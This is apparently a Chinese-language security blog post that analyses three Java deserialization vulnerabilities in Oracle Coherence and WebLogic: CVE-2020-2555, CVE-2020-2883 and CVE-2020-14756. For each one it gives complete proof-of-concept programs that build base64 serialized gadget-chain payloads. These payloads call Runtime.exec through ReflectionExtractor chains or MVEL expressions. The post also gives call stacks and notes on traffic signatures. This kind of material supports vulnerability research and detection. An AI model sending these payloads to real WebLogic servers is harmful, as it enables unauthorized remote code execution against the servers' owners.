前言
接上文。
正文
CVE-2020-2555
影响范围:
Oracle Coherence 3.7.1.17
Oracle Coherence 12.1.3.0.0
Oracle Coherence 12.2.1.3.0
Oracle Coherence 12.2.1.4.0
且JDK > 8u76
漏洞分析
主要是Oracle Coherence中的LimitFilter类存在一个toString方法:
`public String toString () {` `StringBuffer sb = new StringBuffer("LimitFilter: (");` `sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);` `if (this.m_comparator instanceof ValueExtractor) {` `ValueExtractor extractor = (ValueExtractor)this.m_comparator;` `sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));` `} else if (this.m_comparator != null) {` `sb.append(", comparator=").append(this.m_comparator);` `}`` ` `sb.append("])");` `return sb.toString();``}`
传入的对象若是继承自ValueExtractor类则会调用其extract方法:
可利用的类不止一个,这里先看属于该cve的可利用类com.tangosol.util.extractor.ReflectionExtractor#extract:
构造方法:
反射获取类方法并invoke:
可以通过ChainedExtractor#extract(类似CC的ChainedTransformer)来连续调用extract方法:
而JDK > 8u76后才会有toString用于触发:
poc:
`import com.tangosol.util.ValueExtractor;``import com.tangosol.util.extractor.ChainedExtractor;``import com.tangosol.util.extractor.ReflectionExtractor;``import com.tangosol.util.filter.LimitFilter;``import com.weblogcVul.CVE_2016_3510;``import weblogic.corba.utils.MarshalledObject;`` ``import javax.management.BadAttributeValueExpException;``import java.io.ByteArrayOutputStream;``import java.io.ObjectOutputStream;``import java.lang.reflect.Field;``import java.util.Base64;`` ``public class CVE_2020_2555 {` `public static void main(String[] args) throws Exception {` `// 创建第一个Extractor Runtime.getMethod("getRuntime")` `ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});` `// 第二个Extractor getRuntime.invoke()` `ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});` `// 第三个Extractor invoke(exec, "id")` `ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success123.txt"});``// ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});`` ` `ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});`` ` `LimitFilter limitFilter = new LimitFilter();` `limitFilter.setComparator(chainedExtractor);` `limitFilter.setTopAnchor(Runtime.class);`` ` `BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);` `try {` `Field field = badAttributeValueExpException.getClass().getDeclaredField("val");` `field.setAccessible(true);` `field.set(badAttributeValueExpException, limitFilter);` `} catch (Exception e) {` `e.printStackTrace();` `}`` ` `ByteArrayOutputStream fout = new ByteArrayOutputStream();` `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);` `objectOutputStream.writeObject(badAttributeValueExpException);` `objectOutputStream.close();` `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));` `}``}`
调用栈如下:
`extract:116, ReflectionExtractor (com.tangosol.util.extractor)``extract:105, ChainedExtractor (com.tangosol.util.extractor)``toString:599, LimitFilter (com.tangosol.util.filter)``readObject:86, BadAttributeValueExpException (javax.management)``invoke0:-1, NativeMethodAccessorImpl (sun.reflect)``invoke:62, NativeMethodAccessorImpl (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:498, Method (java.lang.reflect)``invokeReadObject:1058, ObjectStreamClass (java.io)``readSerialData:2122, ObjectInputStream (java.io)``readOrdinaryObject:2013, ObjectInputStream (java.io)``readObject0:1535, ObjectInputStream (java.io)``readObject:422, ObjectInputStream (java.io)``readObject:73, InboundMsgAbbrev (weblogic.rjvm)``read:45, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)``init:219, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:993, SocketMuxer (weblogic.socket)``readReadySocket:929, SocketMuxer (weblogic.socket)``process:599, NIOSocketMuxer (weblogic.socket)``processSockets:563, NIOSocketMuxer (weblogic.socket)``run:30, SocketReaderRequest (weblogic.socket)``execute:43, SocketReaderRequest (weblogic.socket)``execute:147, ExecuteThread (weblogic.kernel)``run:119, ExecuteThread (weblogic.kernel)`
前面的T3调用过程没有太大变化,主要还是通过上文提到的BadAttributeValueExpException.toString触发LimitFilter.toString进而触发ReflectionExtractor.extract方法
流量特征上看也是正常的T3序列化数据,主要特征为BadAttributeValueExpException和ReflectionExtractor
CVE-2020-2883
影响范围:
Oracle Coherence 10.3.6.0.0
Oracle Coherence 12.1.3.0.0
Oracle Coherence 12.2.1.3.0
Oracle Coherence 12.2.1.4.0
在CVE-2020-2555补丁中主要是针对利用类LimitFilter的toString方法进行修复,此CVE主要是对上述修复的绕过。
MultiExtractor#compare
MultiExtractor继承自AbstractExtractor
很明显compare方法中有extract方法的调用:
与ChainedExtractor不同,这里只是遍历Extractors列表并调用其extract方法而非和ChainedExtractor.extract一样进行链式调用:
所以还得封装一层ChainedExtractor来进行rumtime调用,对于compare方法的触发,使用priorityQueue这条链的触发方法即可:
参考RoboTerh师傅的poc:
`import com.tangosol.util.ValueExtractor;``import com.tangosol.util.extractor.ChainedExtractor;``import com.tangosol.util.extractor.MultiExtractor;``import com.tangosol.util.extractor.ReflectionExtractor;``import ysoserial.payloads.util.Reflections;`` ``import java.io.ByteArrayOutputStream;``import java.io.ObjectOutputStream;``import java.lang.reflect.Field;``import java.util.Base64;``import java.util.PriorityQueue;`` ``public class CVE_2020_2883_MultiExtractor {` `public static void main(String[] args) throws Exception {` `// 创建第一个Extractor Runtime.getMethod("getRuntime")` `ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});` `// 第二个Extractor getRuntime.invoke()` `ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});` `// 第三个Extractor invoke(exec, "id")` `ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success111.txt"});``// ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});`` ` `ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});` `MultiExtractor multiExtractor = new MultiExtractor();`` ` `Field m_aExtractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor");` `m_aExtractor.setAccessible(true);` `m_aExtractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});`` ` `PriorityQueue priorityQueue = new PriorityQueue();` `priorityQueue.add("1");` `priorityQueue.add("2");`` ` `Field comparator = priorityQueue.getClass().getDeclaredField("comparator");` `comparator.setAccessible(true);` `comparator.set(priorityQueue, multiExtractor);`` ` `Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue");` `queueArray[0] = Runtime.class;` `queueArray[1] = "2";`` ` `ByteArrayOutputStream fout = new ByteArrayOutputStream();` `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);` `objectOutputStream.writeObject(priorityQueue);` `objectOutputStream.close();` `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));` `}``}`
调用栈如下:
`extract:116, ReflectionExtractor (com.tangosol.util.extractor)``extract:105, ChainedExtractor (com.tangosol.util.extractor)``extract:96, MultiExtractor (com.tangosol.util.extractor)``compare:143, AbstractExtractor (com.tangosol.util.extractor)``siftDownUsingComparator:721, PriorityQueue (java.util)``siftDown:687, PriorityQueue (java.util)``heapify:736, PriorityQueue (java.util)``readObject:795, PriorityQueue (java.util)``invoke0:-1, NativeMethodAccessorImpl (sun.reflect)``invoke:62, NativeMethodAccessorImpl (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:498, Method (java.lang.reflect)``invokeReadObject:1058, ObjectStreamClass (java.io)``readSerialData:2122, ObjectInputStream (java.io)``readOrdinaryObject:2013, ObjectInputStream (java.io)``readObject0:1535, ObjectInputStream (java.io)``readObject:422, ObjectInputStream (java.io)``readObject:73, InboundMsgAbbrev (weblogic.rjvm)``read:45, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)``init:219, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:993, SocketMuxer (weblogic.socket)``readReadySocket:929, SocketMuxer (weblogic.socket)``process:599, NIOSocketMuxer (weblogic.socket)``processSockets:563, NIOSocketMuxer (weblogic.socket)``run:30, SocketReaderRequest (weblogic.socket)``execute:43, SocketReaderRequest (weblogic.socket)``execute:147, ExecuteThread (weblogic.kernel)``run:119, ExecuteThread (weblogic.kernel)``PriorityQueue.readObject -> AbstractExtractor.compare -> MultiExtractor.extract -> ChainedExtractor.extract -> ReflectionExtractor.extract`
ExtractorComparator#compare
查看其compare方法:
`public int compare(T o1, T o2) {` `Comparable a1 = o1 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o1).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o1);` `Comparable a2 = o2 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o2).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o2);` `if (a1 == null) {` `return a2 == null ? 0 : -1;` `} else {` `return a2 == null ? 1 : a1.compareTo(a2);` `}``}`
很明显的extract调用,同样的构造方法:
`import com.tangosol.util.ValueExtractor;``import com.tangosol.util.comparator.ExtractorComparator;``import com.tangosol.util.extractor.ChainedExtractor;``import com.tangosol.util.extractor.MultiExtractor;``import com.tangosol.util.extractor.ReflectionExtractor;``import ysoserial.payloads.util.Reflections;`` ``import java.io.ByteArrayOutputStream;``import java.io.ObjectOutputStream;``import java.lang.reflect.Field;``import java.util.Base64;``import java.util.PriorityQueue;`` ``public class CVE_2020_2883_ExtractorComparator {` `public static void main(String[] args) throws Exception {` `// 创建第一个Extractor Runtime.getMethod("getRuntime")` `ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});` `// 第二个Extractor getRuntime.invoke()` `ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});` `// 第三个Extractor invoke(exec, "id")` `ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success111.txt"});``// ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});`` ` `ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});` `ExtractorComparator extractorComparator = new ExtractorComparator( chainedExtractor);`` ` `PriorityQueue priorityQueue = new PriorityQueue();` `priorityQueue.add("1");` `priorityQueue.add("2");`` ` `Field comparator = priorityQueue.getClass().getDeclaredField("comparator");` `comparator.setAccessible(true);` `comparator.set(priorityQueue, extractorComparator);`` ` `Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue");` `queueArray[0] = Runtime.class;` `queueArray[1] = "2";`` ` `ByteArrayOutputStream fout = new ByteArrayOutputStream();` `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);` `objectOutputStream.writeObject(priorityQueue);` `objectOutputStream.close();` `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));` `}``}`
最终触发目标函数,过程差不多就不赘述了:
CVE-2020-14756
影响范围:
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
同样是对反序列化黑名单的绕过,这里使用的是com.tangosol.coherence.servlet.AttributeHolder,调用其readExternal方法:
而com.tangosol.util.aggregator.TopNAggregator$PartialResult的readExternal方法将会触发其父类的SortedBag$WrapperComparator.compare方法:
而之前我们提到过,所有继承自AbstractExtractor的Extractor都会有一个compare方法可触发其extract方法:
对于MvelExtractor来说触发extract即是执行MVEL表达式计算,执行任意代码:
调用栈如下:
`extract:95, MvelExtractor (com.tangosol.coherence.rest.util.extractor)``compare:143, AbstractExtractor (com.tangosol.util.extractor)``compare:416, SortedBag$WrapperComparator (com.tangosol.util)``compare:1295, TreeMap (java.util)``put:538, TreeMap (java.util)``add:152, SortedBag (com.tangosol.util)``add:270, TopNAggregator$PartialResult (com.tangosol.util.aggregator)``readExternal:299, TopNAggregator$PartialResult (com.tangosol.util.aggregator)``readExternalizableLite:2345, ExternalizableHelper (com.tangosol.util)``readObjectInternal:2661, ExternalizableHelper (com.tangosol.util)``readObject:2606, ExternalizableHelper (com.tangosol.util)``readObject:2583, ExternalizableHelper (com.tangosol.util)``readExternal:407, AttributeHolder (com.tangosol.coherence.servlet)``readExternal:372, AttributeHolder (com.tangosol.coherence.servlet)``readExternalData:2062, ObjectInputStream (java.io)``readOrdinaryObject:2011, ObjectInputStream (java.io)``readObject0:1535, ObjectInputStream (java.io)``readObject:422, ObjectInputStream (java.io)``readObject:73, InboundMsgAbbrev (weblogic.rjvm)``read:45, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)``init:219, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:993, SocketMuxer (weblogic.socket)``readReadySocket:929, SocketMuxer (weblogic.socket)``process:599, NIOSocketMuxer (weblogic.socket)``processSockets:563, NIOSocketMuxer (weblogic.socket)``run:30, SocketReaderRequest (weblogic.socket)``execute:43, SocketReaderRequest (weblogic.socket)``execute:147, ExecuteThread (weblogic.kernel)``run:119, ExecuteThread (weblogic.kernel)`
参考Y4er师傅POC:
`import com.tangosol.coherence.rest.util.extractor.MvelExtractor;``import com.tangosol.coherence.servlet.AttributeHolder;``import com.tangosol.util.SortedBag;``import com.tangosol.util.aggregator.TopNAggregator;`` ``import java.io.ByteArrayOutputStream;``import java.io.ObjectOutputStream;``import java.lang.reflect.Field;``import java.lang.reflect.Method;``import java.util.Base64;`` ``public class CVE_2020_14756 {` `public static void main(String[] args) {` `MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"touch /tmp/123.txt\");");` `MvelExtractor extractor2 = new MvelExtractor("");`` ` `try {` `SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);` `AttributeHolder attributeHolder = new AttributeHolder();` `sortedBag.add(1);`` ` `Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");` `m_comparator.setAccessible(true);` `m_comparator.set(sortedBag, extractor);`` ` `Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);` `setInternalValue.setAccessible(true);` `setInternalValue.invoke(attributeHolder, sortedBag);` `ByteArrayOutputStream fout = new ByteArrayOutputStream();` `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);` `objectOutputStream.writeObject(attributeHolder);` `objectOutputStream.close();` `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));`` ` `} catch (Exception e) {` `e.printStackTrace();` `}` `}``}`
流量特征:
后记
依旧参考RoboTerh师傅的文章:https://tttang.com/archive/1785/#toc\_cve-2017-3248
关于前文中T3协议头部分存在一些问题,具体细则可参考su18《Weblogic RMI 与 T3 初探》。